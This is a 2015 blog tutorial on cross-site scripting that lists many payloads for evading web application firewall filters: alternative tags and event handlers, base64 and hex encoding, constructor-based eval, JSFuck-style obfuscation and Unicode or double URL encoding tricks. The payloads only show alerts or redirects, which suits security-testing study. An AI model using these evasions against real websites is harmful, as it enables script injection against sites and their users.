Friday, April 3, 2015

XSS In Real World - Part 2 (WAF Filter Evasions)

XSS In Real World - Part 2 (WAF Filter Evasions)

This is part 2 of XSS in Real World tutorial.

Part 1 of XSS in Real World tutorial

What if the <script> tag is filtered out?

Some WAF evasion cheat-sheets that we can use <sCRipT> tag, but I’ve never seen this in real world.
So I don’t even try it.

Some variations:
<img src=x onerror=alert()>
<img/src=x onerror=”alert()”>
<svg onload=alert()>
<svg/onload=’alert()’>
<marquee onstart=alert()>
<div style=”width:1000px;height:1000px” onmouseover=alert()>asdfa</div>
<a onmouseover=alert()>some random text


What if alert() is filtered?

confirm()
prompt()
window[‘alert’](‘xss’)
window['ale'+'rt']('xss')
eval(window.atob('YWxlcnQoJ3hzcycp'))        //decode base64 string && execute
eval(window['atob']('YWxlcnQoJ3hzcycp'))
window['e'+'v'+'a'+'l'](window['atob']('YWxlcnQoJ3hzcycp'))



Awesome evasion technique: []["filter"]["constructor"]( CODE )()        //equals to eval()

So,
eval(‘alert()’) == []["filter"]["constructor"]( window['atob']('YWxlcnQoJ3hzcycp') )()
 
And even more evasion:
[]["fil"+"ter"]["constr"+"uctor"]( window['atob']('YWxlcnQoJ3hzcycp') )()

document.body += atob(‘PHNjcmlwdD5hbGVydCgpPC9zY3JpcHQ+’)   //decoded base64 == <script>alert()</script>

Some reference on []() functions:
false => ![]
true => !![]
undefined => [][[]]
NaN => +[![]]
0 => +[]
1 => +!+[]
2 => !+[]+!+[]
10 => [+!+[]]+[+[]]
Array => []
Number => +[]
String => []+[]
Boolean => ![]
Function => []["filter"]
eval => []["filter"]["constructor"]( CODE )()
window => []["filter"]["constructor"]("return this")()

Some security researchers go deeper, and develop tools like:
http://www.jsfuck.com/
http://patriciopalladino.com/files/hieroglyphy/


That will generate your JavaScript CODE only with []()!+ characters.
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])


Thanks to Patricio Palladino and Martin Kleppe.

So you understand string manipulation like ‘ale’+’rt’...
Will not going to explain it again :)

What if () characters are filtered?

onerror=alert; throw “xss”

“document.body += ‘string’” will append your string to the end of <body> tag.

document.body += ‘<script>alert\x28\x29</script>’        // in HEX: ‘\x28’ == ‘(‘ and ‘\x29’ == ‘)’

Or you can encode the whole string <script>alert()</script> in HEX:
document.body +=
‘\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x29\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E’

Or just use your XSS as open redirect:
document.location = ‘http://google.com’                        //open redirect

Again, document.location == document[‘locati’+’on’].

Keep that in mind.

As additional reference, I recommend to read this book:
http://dl.packetstormsecurity.net/papers/bypass/WAF_Bypassing_By_RAFAYBALOCH.pdf

Simple HTML injections are easy to sanitize. Filter out tags and ‘=’ characters, and it will be painful job of finding XSS.
For example, Microsoft .NET 4 marking as Dangerous Request every request with character ‘<’ followed by almost any ASCII character. I’ve not found a way of evasion. So ‘<s’ or ‘<m’ or ‘</’ will be marked as dangerous.

So the only way to bypass it is to use ‘” onmouseover=alert()’> in case if ‘=’ is not filtered out.
Or to use inline JS injection (will be discussed in next part).

ModSecurity doesn’t know about ‘confirm()’...

Some others don’t handle Unicode encoding and/or double URL encoding.
If you can’t use ‘onload’ keyword, try ‘onload’ or ‘onl%u006fad’ or ‘onl%256fad
Or if ‘=’ character is filtered or marked as dangerous, try ‘onload%u003d

Fine. This is over.

In part 3, I will show you a real example of Inline JavaScript injection.

Like & Share :)

Alexander Korznikov.

No comments:

Post a Comment